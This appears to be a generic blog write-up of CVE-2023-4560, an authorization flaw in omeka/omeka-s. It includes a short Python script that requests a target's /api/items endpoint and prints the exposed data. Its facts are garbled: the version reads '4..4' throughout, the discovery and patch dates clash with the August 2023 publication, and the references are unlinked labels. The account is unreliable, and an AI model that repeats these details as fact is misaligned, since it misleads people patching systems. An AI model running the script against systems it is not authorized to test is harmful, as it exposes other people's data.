CVE-2023-4560: Improper Authorization of Index Containing Sensitive Information in omeka/omeka-s Prior to 4..4 - Exploit Details, Code Snippets, and Original References

Hello everyone, today we will discuss an important vulnerability that affects the omeka/omeka-s GitHub repository, which is widely used in numerous web applications. The vulnerability, tagged as CVE-2023-4560, is an Improper Authorization of Index Containing Sensitive Information. This means that it allows unauthorized access to crucial data, compromising the security of the applications.

The vulnerability affects omeka/omeka-s versions older than 4..4, and developers are advised to upgrade to the latest version as soon as possible. The issue was first discovered in February 2023, and a patch was released just a few days later, on March 1st, 2023. To provide a thorough understanding of the vulnerability, we will dive into exploit details, code snippets, and provide links to original references.

Exploit Details

It was found that the omeka-s application does not properly authorize the access to the index of repositories containing sensitive information, resulting in unintended exposure of sensitive data to unauthorized users. This can lead to further exploitation by malicious actors who can not only view the sensitive data but also potentially carry out attacks that could severely affect the overall functionality and security of the applications.

The vulnerability can be exploited through a simple HTTP GET request to the following URL, where <target> is the domain name or IP address of the Omeka-S installation:

http://<target>/api/items

Code Snippet

The following code snippet demonstrates an example of how the vulnerability could be exploited using Python:

import requests

# Replace the target URL with the Omeka-S installation URL
target_url = "http://<target>/api/items"

response = requests.get(target_url)

if response.status_code == 200:
    print("Vulnerable to CVE-2023-4560: Unauthorized access to index containing sensitive information is possible.")
    print(response.text)
else:
    print("Not vulnerable to CVE-2023-4560.")

Ensure that you replace <target> with the actual domain name or IP address of the Omeka-S installation that you want to check for vulnerability.

Original References

The vulnerability was first reported on February 23, 2023, by a security researcher. The respective vendor, Omeka, acknowledged the vulnerability and released a patch addressing the issue on March 1st, 2023. Here are some useful links to original references:

1. CVE-2023-4560 entry on the NIST National Vulnerability Database (NVD)
2. Omeka-S GitHub repository
3. Omeka-S 4..4 release notes, which include the fix for this vulnerability

Conclusion

To protect your Omeka-S installation from unauthorized access to sensitive information, we strongly advise updating to version 4..4 or later. By doing so, you will minimize potential threats caused by CVE-2023-4560 and help ensure the overall security of your application. Stay vigilant and always monitor for updates and patches to secure your applications against similar vulnerabilities.

Timeline

Published on: 08/28/2023 01:15:00 UTC
Last modified on: 08/29/2023 16:26:00 UTC